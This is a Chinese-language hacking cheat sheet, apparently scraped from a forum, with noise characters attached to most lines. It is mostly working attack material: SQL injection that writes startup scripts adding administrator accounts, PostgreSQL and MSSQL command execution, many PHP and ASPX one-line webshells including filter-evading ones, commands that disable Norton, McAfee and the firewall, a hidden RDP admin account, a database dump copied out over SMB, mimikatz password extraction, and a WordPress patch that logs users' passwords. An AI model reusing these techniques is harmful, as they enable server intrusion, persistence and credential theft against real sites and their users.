create table a (cmd text);
$ O& J% |: X. s) W' L7 G* y" Zinsert into a values ("set wshshell=createobject (""wscript.shell"") " );
& e! J8 o- d0 Minsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );) M( z6 u+ [0 c) h C' O
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );- U8 ]9 F. e2 z% s. ?1 |9 O) @
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
+ x$ E* x- z9 K& i3 c; odrop table a;
; s3 ?% G2 Q7 L3 C+ s" W* v; R2 s; V3 g1 x
英文版本:6 I$ s! y4 Q I0 C4 j* v. d
. x) S# i8 Q' e. q8 ?; y
use test;/ y" `8 T; \# t( o
create table a (cmd text);& n0 Y( D+ w+ M+ Y$ o* e- ?2 U
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
/ Z' P4 T) A9 A4 D! Z: k/ Q2 Sinsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );+ u5 w; I4 R* U3 Q
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
+ j" ~& b' M8 Z6 T N1 Q- u7 qselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";1 C8 L' F+ L6 b- e
drop table a;0 R6 c; H; \0 }! G( a
% C8 m* p+ @6 f, }) ?! W* H4 x, n/ t
create table a (cmd BLOB);
# N2 z7 V! a0 V% Xinsert into a values (CONVERT(木马的16进制代码,CHAR));
, Z( w" x' Q2 Y# r1 h. Aselect * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'$ X8 _! K1 G% d
drop table a;
4 [" F$ L2 `! M7 [4 t: c8 F" a- b2 t
记录一下怎么处理变态诺顿
8 Y3 c+ z; a; S8 y查看诺顿服务的路径
: I; M I& ^" csc qc ccSetMgr
3 |7 H/ v; R: P# s& E; O2 `; K2 A然后设置权限拒绝访问。做绝一点。。: \5 {5 ^( l: _8 s) V/ G, [) \4 s1 d) }
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
; r0 f8 I, a y3 F( W; acacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
8 r+ _) W. ?3 B5 M0 Ecacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
/ \& g, W/ ~- T0 f, U2 Q' E* m0 qcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
) I+ o% f' |$ Y* B9 u/ f
: W2 r7 f) r% Z M4 t! n然后再重启服务器) A. W4 h: t8 Y! s
iisreset /reboot
9 b( ^% W! }) v2 w1 }这样就搞定了。。不过完事后。记得恢复权限。。。。3 z9 u8 O- D0 ^) l6 ~/ H- [
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F) e4 R4 `# [7 K% E9 O4 t z
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F
9 R- G1 F- n. k0 ^& o+ @4 Y' Vcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F
7 D8 }+ \" `; k& B- U; Ucacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F9 l* s; L! j8 u2 ?; D. G5 o$ M
SELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin+ m9 k6 e% C1 o `) x
9 W! [' }8 a: y( n1 ]7 @9 s7 b
EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
8 d- H/ X! K; [4 P% Q+ q
, Q8 k; C( b( L) ~- j+ j4 G! {# apostgresql注射的一些东西
% p2 Y" f" u3 J1 O) l9 [/ j) P如何获得webshell. z: s1 @6 q Z6 {, |
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
( E# G8 Q; o2 F0 shttp://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
3 L' D8 w3 v1 g/ ^1 p" M7 [- i5 Khttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
# r- _, n1 p) E8 y4 l( E. R* g/ s如何读文件+ [% t- A1 T5 T5 {6 \9 A
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);) F7 Z; g5 E5 P& g
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
* B" o0 f9 W- w7 T& k: j1 vhttp://127.0.0.1/postgresql.php?id=1;select * from myfile; U+ W) J# |5 B/ {3 \
% }0 ^7 [+ |' ~
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
0 i5 B0 t- I, I* R当然,这些的postgresql的数据库版本必须大于8.X" S& ]5 t1 {- G; `( \2 [* W
创建一个system的函数:
* T0 v& C o6 CCREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
1 U1 t6 x; Q5 X! D: C; |* j
, @) M% n+ V7 N) Y创建一个输出表:
, w* D" d: v5 @" ?9 Z3 i& wCREATE TABLE stdout(id serial, system_out text)
$ }# K: o. q! {: ?
9 [, c1 C9 E2 E0 @( e5 k& ?, d H执行shell,输出到输出表内:
/ X$ f6 y& \+ q" B( m8 x8 LSELECT system('uname -a > /tmp/test')7 p& X7 M% B% i% J" i9 u$ J
K! @- o# m R% ~- f+ s3 h5 ecopy 输出的内容到表里面;8 k- M7 V D; y' ? A, H% H8 [
COPY stdout(system_out) FROM '/tmp/test'# H7 P! J7 y6 j
7 m# f) ?& B' {& R
从输出表内读取执行后的回显,判断是否执行成功
: `2 B# x% t3 _2 e) Q( }
% E2 X9 |( y- H/ ^6 g$ CSELECT system_out FROM stdout
0 w8 J* S3 G( c; M% Q C' W下面是测试例子
3 U- Z- @9 g' ^ {3 g
& F+ C" y a; E o/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 8 \; u! s( x' q
9 \4 p) A# j; y$ ?
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
& ^, i7 l1 F- U# _* z4 O" x9 M3 ZSTRICT --5 M" C0 l4 f3 Z! s, `3 \; v. [4 [
' L: V6 p' j+ j+ b" a$ \1 R# s, e/store.php?id=1; SELECT system('uname -a > /tmp/test') --% A& S) C5 h: U
8 R* i0 `8 `9 v: c G6 y- ]& e
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --0 U3 s; D5 C, M/ z
# T$ G/ I- t5 J% m
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--/ w! q0 X+ x/ Q; P
net stop sharedaccess stop the default firewall
1 c3 b. F% r: a( W* B6 znetsh firewall show show/config default firewall
4 l! r- o- }$ A5 Vnetsh firewall set notifications disable disable the notify when the program is disabled by the default firewall
. X6 k8 g' o% q8 \7 mnetsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall
' J& n: u: X* }: r1 e! t修改3389端口方法(修改后不易被扫出)
0 u. s( c4 D3 I# I( v% Z. C修改服务器端的端口设置,注册表有2个地方需要修改
: s8 k, E3 t, o, r/ ~5 e; k- D& r; a6 Y( _( L
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
) J' r3 s4 b1 m- R& V9 vPortNumber值,默认是3389,修改成所希望的端口,比如6000
% u1 A8 ]7 t- I! r; R' B2 ~, U5 e& l# e7 L- ~4 d2 P3 \) y F- V
第二个地方:
% b$ s' Z q+ G) G) `+ X3 M[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp]
" I3 x# C6 G, g# m; l1 y2 i/ }' {PortNumber值,默认是3389,修改成所希望的端口,比如6000& [. i$ E( C; M% I& S
9 x7 w3 [: Q* O- \. W
现在这样就可以了。重启系统就可以了
: U: P) c N: S3 k! K( X/ F* A: j: \: }& \+ f% `
查看3389远程登录的脚本4 F, w/ s- ]: L+ {4 \+ J( l
保存为一个bat文件
) _: H( b0 i( O& x' Wdate /t >>D:\sec\TSlog\ts.log
# w. @) h; L9 s* ?time /t >>D:\sec\TSlog\ts.log/ x2 V8 Y% \; _. q
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
4 |( z7 f6 Y \& }0 d9 xstart Explorer
4 @/ |; c3 ?9 K# t. M4 y/ w3 H
p: G8 ~1 c5 g4 ^7 w4 H3 d* tmstsc的参数:- H# @8 R& [ I) a% Z2 [& ]
; D+ {! I1 A& E& f
远程桌面连接
5 U9 f! z. G+ t0 j t3 |
$ K `$ |5 a, `* rMSTSC [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]* e, J @, k6 ?" g1 h {' i8 |
[/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?' _4 M. l+ D* h+ [5 {; K; _/ ^8 K
+ l% z4 z P1 o9 c! f<Connection File> -- 指定连接的 .rdp 文件的名称。, S: G6 o) r; P% }8 ]" {
5 U/ m, Q+ l$ A. z0 _/v:<server[:port]> -- 指定要连接到的终端服务器。( J+ {4 J7 H. k6 d9 y/ X. Z
0 S+ P/ g& K4 C4 b3 k8 B: K
/console -- 连接到服务器的控制台会话。8 n3 |# l+ V; ]- m9 U* [
- h7 P( Q3 q" p( [* z& O8 t# k3 U! Y
/f -- 以全屏模式启动客户端。
# \* I0 W1 ?% w: m. ?( J; L/ N% G/ Z* R2 o% L3 I( i
/w:<width> -- 指定远程桌面屏幕的宽度。
$ K/ \# r- F: ]' T# F6 R6 X* j+ o4 X1 F5 {. v6 Y
/h:<height> -- 指定远程桌面屏幕的高度。* r9 K1 E4 t5 W) ~0 [! Y) Z4 l+ y
+ l# Y$ e& B' c4 ?/edit -- 打开指定的 .rdp 文件来编辑。
5 {( @- B6 H$ @0 j* b$ D& t/ m6 j( n1 J+ Y3 E, _/ k: C
/migrate -- 将客户端连接管理器创建的旧版! `. F4 n1 r$ F( d' K- n! _
连接文件迁移到新的 .rdp 连接文件。% Y/ a/ k: @9 Z& J {
9 Y! S& K8 r8 ?3 d4 x' s$ g" |, F: u6 f. ^( ~8 s
其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就4 n- z2 |' V5 @8 z
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量
) Y* |; l p$ [1 E- ]! {- |2 {3 j* L
命令行下开启3389
3 `' V6 f( X k7 _net user asp.net aspnet /add# c1 K3 J4 ]' P
net localgroup Administrators asp.net /add
: ^ \' s5 h3 K( T7 {0 fnet localgroup "Remote Desktop Users" asp.net /add% B; j9 v* X- ~& ?4 V3 y
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
+ w) o" a; {. Y- X5 b+ k0 ~echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
" o2 ]- p9 g4 p6 K6 Kecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
! o9 r, n7 V) W7 eecho Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f# A9 Q9 ^; ~- e: h2 K: s& V
sc config rasman start= auto
7 s! ^7 W; } \4 ~3 s1 osc config remoteaccess start= auto3 l8 D* O: }& X& _& w# q% W
net start rasman8 g& \/ f, S9 w$ I8 b6 n
net start remoteaccess7 X0 d9 I! W- i
Media
" P9 @9 Q" ~' `" g5 M4 Y6 R# v% Q) P<form id="frmUpload" enctype="multipart/form-data"
3 o. H6 M# Q$ `6 M, Kaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
A d D" w+ S" Q# n. T<input type="file" name="NewFile" size="50"><br>: w# |9 I# S5 e4 v; i+ [4 L5 |
<input id="btnUpload" type="submit" value="Upload">& }, N7 w5 t( C
</form>
% `" b9 g9 j1 s' l; R
9 k4 G% f) i+ v/ D4 {0 F1 Acontrol userpasswords2 查看用户的密码
B- J& x) y' ^4 p$ ?6 {! I7 t% ^access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径2 w3 ]% Q1 _" ~) R
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a I+ K, q# M. i# v3 y8 H
& [5 F) f- n6 K
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
( Q8 I& T' ] @/ j: n. N3 U& z测试1:
7 C* j" z/ D# i O, W- |* QSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
, h8 }$ I( ?9 k7 w2 S7 V
' o3 E$ G9 ?5 I测试2:: F# L; E5 o* y X
. g+ C( f5 q: A: L1 l( a$ qcreate table dirs(paths varchar(100),paths1 varchar(100), id int)
: p T; l; P& g5 m% Z! H* d3 H/ M& `7 f
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--" [5 J0 X. M6 h: F
2 p+ Y0 ?/ `+ J6 i7 B, G$ Z" P
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t10 X3 ^4 `% s) y, P+ o
关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令
6 S- K, ]% r6 m可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
- }5 ^/ h* b$ q/ y" R$ @' o+ Inet stop mcafeeframework1 Q, c/ O; h+ P' Z# u( M
net stop mcshield
" Z( g$ F: ?' Vnet stop mcafeeengineservice
1 a0 j9 P% G: ?( J5 T- s; _net stop mctaskmanager: g9 R% c8 x! b3 A- {+ {$ ]. P# a
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D! e) q2 Q \0 G- x5 {0 ]5 z8 O
, `& F0 d9 _2 U. P7 W( _2 [# D VNCDump.zip (4.76 KB, 下载次数: 1)
1 v; O4 u7 g: R* ?4 t; s密码在线破解http://tools88.com/safe/vnc.php8 D ]9 W" l" w. O4 I2 F2 a5 _
VNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取" w G+ j. F- w% R" I
4 b: Z+ b* l; G1 Q3 U0 h$ `; hexec master..xp_cmdshell 'net user'& M C4 {+ }, b( S0 D$ B/ |! \. s" J
mssql执行命令。2 I7 w: ?: O8 }- N) q: Z
获取mssql的密码hash查询1 M3 K' v$ g3 O6 P& H' X, ~
select name,password from master.dbo.sysxlogins4 g3 ?$ K: L0 i, m
. l/ B% @/ H$ @- k3 \0 o5 y" rbackup log dbName with NO_LOG;
6 c$ G X: b! K6 X+ G& w- ~* Ibackup log dbName with TRUNCATE_ONLY;
( _1 t N2 ~% s5 R: H/ Q: ADBCC SHRINKDATABASE(dbName);
( F- d. a2 P- zmssql数据库压缩- y' p: O( E* S7 G/ Y3 W( B; G
) r0 f7 M+ Q5 qRar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
* @4 C' Y* X/ c, J& j* @将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。, _; s& G% B. S" Y7 \& }8 W: \, L
+ D9 E# H0 H/ p' \
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'+ e) ~$ k) j0 ^6 @2 K% Z& P3 L
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
( p3 c. |4 n1 p' ^4 g7 ^
- }- F- n! h: s/ pDiscuz!nt35渗透要点:
) J8 m: b6 D( `% i( T(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
W5 o0 k) U* |/ T, `; q- F(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>/ E' i2 M( c' i
(3)保存。
* \) t9 G) \: v7 S8 B4 h$ G(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass- p& `& w. @1 E6 e4 V2 B
d:\rar.exe a -r d:\1.rar d:\website\7 B% p$ r* M7 b2 r; h) G2 R3 X
递归压缩website% K, U# V1 X5 s7 Y9 a) u8 ~
注意rar.exe的路径
: h) A4 C& {( A9 ~5 ]$ \7 o& |5 h* B2 |; o
<?php
0 [" Q* @: g. W# ]( X; w q: y5 t( X/ I
$telok = "0${@eval($_POST[xxoo])}";5 v% q) S. ^* F* `, ~$ B! v
6 d0 K" M8 b2 w" e$username = "123456";( b9 i) X1 J3 s* k2 U" u
: p& S& I. N, N6 X4 n# z
$userpwd = "123456";
# V: @1 ~: S( V9 Y. d
7 ?9 U5 D# c9 ]2 P/ f* a$telhao = "123456";4 \, ^1 Q& d$ m/ j4 J2 r& l
8 w; o+ h3 W0 V$telinfo = "123456";* l( l8 R" K+ v& V, v" G3 n7 P: O
% L6 b8 k4 n" z7 T" s; q?>, P4 q) [1 I/ N& q" d. _
php一句话未过滤插入一句话木马1 ?3 G: w6 n! ]
' s% B! n( e& n7 t
站库分离脱裤技巧
/ v, a) m; F: @: Y; O) Kexec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'. `- U/ r$ M' x5 V$ _' M# s# q0 `4 C
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'
+ z+ H% ^, X& H0 d" E条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
; ~9 J: s# u6 e! R% s6 P1 \+ c6 S这儿利用的是马儿的专家模式(自己写代码)。6 e+ ~7 y" k" b- J5 L
ini_set('display_errors', 1);
; G0 d m* g% y2 c5 z! L; Jset_time_limit(0);
- t- U! F" o8 _- {: M9 E6 perror_reporting(E_ALL);
8 _( G, G/ W$ b2 D0 d$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
0 G8 L' f6 I5 \ C7 Jmysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
( B4 b: i/ ?- i$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());
7 O' s0 c& Z9 }6 t1 w$i = 0;4 N* P. ]. f: ]1 X$ p
$tmp = '';
4 n2 v6 \0 O3 N( J; q, Pwhile ($row = mysql_fetch_array($result, MYSQL_NUM)) {3 w9 U9 C' s- M
$i = $i+1;
/ f3 `; k2 \" f0 }) n $tmp .= implode("::", $row)."\n";
0 l! D0 M" O- n3 B; q if(!($i%500)){//500条写入一个文件
! [6 j6 H# w) H* f) x' y* L, l" i8 o $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
9 O+ M: h! ^: h- w7 ^2 R3 f file_put_contents($filename,$tmp);' F8 d! G2 t7 L
$tmp = '';' h. ], m; Y' `7 h
}
$ T0 b8 g! u1 `! r; X# c}
. b) q0 p+ N4 R, r1 A, r( B) Jmysql_free_result($result);
3 e# F o0 Q' U
" z2 n, q% E( X1 v4 P3 _( e% N7 X6 n9 j
5 M1 O$ e" ?$ L7 ]8 N
//down完后delete
5 ^) q0 c6 k, G4 m9 ~: r" H: M/ `# o1 m! n3 N3 a: Z: ^
' Z1 r+ F P2 z& F' C. g
ini_set('display_errors', 1);
" l% W8 E4 q8 Z$ B/ p$ g9 Xerror_reporting(E_ALL);# {: ^3 e6 J% F+ B/ w
$i = 0;
: r0 t2 Q6 D# T! Y" P6 Q! w2 Ywhile($i<32) {
( U- C/ ^2 d# I% O $i = $i+1;
I% I3 g$ [$ o* _( V $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';7 F/ R1 K3 m7 l M8 @$ ?/ L
unlink($filename);; B) B" _2 d+ b1 L( @
}
V( S2 b* i W0 r( ?" @# fhttprint 收集操作系统指纹( Y, g; I2 i0 C; x
扫描192.168.1.100的所有端口
. q4 {% P# N2 o" L9 h3 W3 g- \nmap –PN –sT –sV –p0-65535 192.168.1.100+ ?2 U# h2 X) C" ?& L8 \* i% m
host -t ns www.owasp.org 识别的名称服务器,获取dns信息: }* B1 b7 e5 S5 f5 F [
host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输0 p& G3 F0 T; @9 f! E
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host0 G$ I" I* | l* O7 Q# h9 a# v/ V) A1 i4 ^
5 ~% w* Z1 g" W/ ]Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册). b; X7 G+ N( ~
! u2 z" e6 D& h( a: |6 r# ~
MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)" c& I5 Q+ c3 t+ z' c% X
& d- G5 { P7 _
Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x
7 n8 [% T& [/ t3 T. N3 X4 k" z, `6 U5 E. h) Z5 B; T' n& b
DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
$ Q0 q! O9 P' \) I2 K2 L3 ^, W X5 @, ]0 J* U
http://net-square.com/msnpawn/index.shtml (要求安装)
3 i4 M) B$ m+ ^* S6 J2 U4 d6 N
2 z( y: D6 c7 @; q" ?7 w5 c+ c tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的); y( d# c' k5 b4 e3 O, C# u& x
. k9 f1 w" r1 S. G4 f( V
SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)" B# }& V: m3 V0 \
set names gb2312' x( e4 `' c6 W; @- N; }4 H$ H
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。2 t! u1 I0 E6 y. c& s# L. ?
! g' U1 y3 V; \+ N, y" H
mysql 密码修改9 ^; `* P6 {2 _0 e
UPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ”
2 _/ A, q" g2 @) U$ m* \7 Eupdate user set password=PASSWORD('antian365.com') where user='root';
3 }5 o! |% X9 o% K( m7 qflush privileges;! {# T: v+ f3 m( u( t% C q
高级的PHP一句话木马后门
* J, ?! F/ ?( Z
, n9 D& ~3 D; ?9 C( F9 I入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀! s/ R0 @8 ^! g: J: N
[! a3 V# `' R& q1、
; U/ s ?3 Q& `6 M9 h$ V7 ]+ d7 q3 d0 q$ {4 s& [" G# n: \
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
/ ]* w6 p: m0 S* U( p+ y, z6 F+ r& `6 v* x. j9 o
$hh("/[discuz]/e",$_POST['h'],"Access");
3 g, x5 }/ T0 c" G9 a: J }; R6 q+ q5 \3 h6 X
//菜刀一句话
2 ]3 @- `1 \. R# T& ]4 D8 b+ B3 n6 d! t! G$ d* @8 I
2、
' l i1 y$ m0 D4 L* J1 G7 I) T2 O
6 ~4 D3 b U: E [# Z1 o( J9 g$filename=$_GET['xbid'];
% X: z. X+ _7 k
" M( y# @- A( J. ~( ^3 {6 `$ ~include ($filename);- R4 {# s: v' s, C
# c1 n& D1 Z: ]" v) ]& d) a; z& z
//危险的include函数,直接编译任何文件为php格式运行
5 U& z9 e3 j7 ^0 v3 Z
( b) y& {$ ^/ f" [& h- x3、
1 d4 ?0 b* D( ^3 s' j4 z0 B5 j0 R
% E9 F/ n3 |3 A6 H! Q# B3 D* W' H$reg="c"."o"."p"."y";( l$ X! f) C& r y
1 F6 K+ \- J3 R" y. T* N
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);6 s( s; l* X g4 n: l; e
7 _, V4 h, [ Q! h//重命名任何文件
0 C- g9 ^7 @* q1 l* O6 O) S5 u- q9 A
4、
& m( F2 D. g8 z# E0 n# ~) ^
2 }4 V' f/ z* u/ r: o' F9 _! {$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";. Y& x" i3 @' h
% O7 Q( L1 ]$ ]* ~% U$gzid("/[discuz]/e",$_POST['h'],"Access");
/ r+ Q& B8 e+ I9 u# }2 ?5 n/ w% T
//菜刀一句话$ g- H2 _; R* J/ B
& q+ S O0 E$ `( Z
5、include ($uid);
' b$ m, X" x' E3 g. D
- _5 M; J' _5 L1 u' l; s//危险的include函数,直接编译任何文件为php格式运行,POST
4 [/ C- f% Y; G7 @
5 `* F1 g; y9 i: p( F* U
6 k! ^) a' c" e/ w+ C H) U! l//gif插一句话
6 o F1 I6 Y7 C, Z3 L0 n% k. T- Q8 O7 d8 B
6、典型一句话
) I W+ _# E# @6 @7 Q6 ~
, W% t$ C* j9 i# u9 a程序后门代码/ d1 c( b1 G" W6 g2 w }
<?php eval_r($_POST[sb])?>
7 o) @1 @- Z/ L$ l1 A3 n程序代码
3 d' V1 r: H( m7 t# P- d+ j<?php @eval_r($_POST[sb])?>
( G/ |9 o2 v$ b3 k6 K//容错代码
1 l6 e" ^: l: W' Z程序代码6 R3 l+ y6 |( P! R" i
<?php assert($_POST[sb]);?>
' V) s9 h9 a# ?//使用lanker一句话客户端的专家模式执行相关的php语句7 d6 j5 H" T& n
程序代码; ~9 C) l4 |) Q
<?$_POST['sa']($_POST['sb']);?>2 a# z) U4 X% Y6 @
程序代码
7 y0 W" Q% g3 O<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>+ K9 K2 m0 `+ z( G
程序代码. J4 c: t4 f# P! H6 \9 S O
<?php
' C: ?7 ?( E/ C" A+ J/ i@preg_replace("/[email]/e",$_POST['h'],"error");
n" f9 K0 S7 ~ A7 T?>! {* D* h- c5 Q* Q& s! Q
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入" F- U+ n: h( t$ N. l
程序代码# r' |2 E+ p# x# z
<O>h=@eval_r($_POST[c]);</O>
* w T- m3 h/ G# X& ]/ K- z程序代码* Q* i7 y2 n: v: E) f- m8 M
<script language="php">@eval_r($_POST[sb])</script>
2 f% ]; ?/ `- N; `) ~! c) k//绕过<?限制的一句话 z( E8 p4 K5 ~3 A; ~7 v
! N% ?* H6 ^0 ~7 zhttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip" ^1 W( Z% H3 i b) W; G1 B
详细用法:' [$ W7 c9 D0 ? H* ^0 B0 C; V
1、到tools目录。psexec \\127.0.0.1 cmd# x" H) m: [$ ?% e' X0 m
2、执行mimikatz0 U8 l" G3 {- ]. ?; [
3、执行 privilege::debug$ j$ k3 ?2 g3 W4 ~
4、执行 inject::process lsass.exe sekurlsa.dll
7 ~% H( M5 s% s% z8 N% }, E$ X5、执行@getLogonPasswords
6 g2 v& D! v8 U6、widget就是密码
' t8 l2 f, F# ?! x7、exit退出,不要直接关闭否则系统会崩溃。: b' G9 B7 A2 T' r x" ~1 M1 E
# Y2 V. r0 f' t4 u* R b% _
http://www.monyer.com/demo/monyerjs/ js解码网站比较全面0 A! B8 W7 @" Y4 \* A% j
0 @8 z0 l, k. g$ ~. O% u; L F* W* Y自动查找系统高危补丁! q! {2 o# h/ P4 t3 q
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt
8 M. v$ p/ p1 b% g" @
% g i/ o/ }0 n" U. e) q突破安全狗的一句话aspx后门) k2 g. Z" [9 S# c! n c* c
<%@ Page Language="C#" ValidateRequest="false" %>' v% B, w5 _ k; O2 `) G/ ]
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
$ `! Y4 ^8 M+ M" Pwebshell下记录WordPress登陆密码8 G2 g4 p) d' c: T
webshell下记录Wordpress登陆密码方便进一步社工6 c, J& N$ B+ O
在文件wp-login.php中539行处添加:
/ s) V2 H, E4 v1 X L9 m8 q/ B$ `3 C// log password1 X; k. o: F! p8 a( Y
$log_user=$_POST['log'];
7 v' K9 G, g2 U; m6 e& H: d( b$log_pwd=$_POST['pwd'];% x7 D. R' d, g
$log_ip=$_SERVER["REMOTE_ADDR"];
3 a* v( M9 ^7 ^( g$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;0 H/ o+ z b; W) F
$txt=$txt.”\r\n”;0 Q$ N) J8 b; U8 D! e+ t n- N
if($log_user&&$log_pwd&&$log_ip){
# m1 I9 @, x2 ]$ D- X% S9 P@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
, M- ]- v* V* ^1 X}
$ x& \* L! B8 J# c/ D0 L) j当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。! z5 V' u. w2 q$ P9 e
就是搜索case ‘login’
: a5 i$ d5 S$ L( k. s& F, H在它下面直接插入即可,记录的密码生成在pwd.txt中,5 \# X/ |4 z h6 v' \
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录
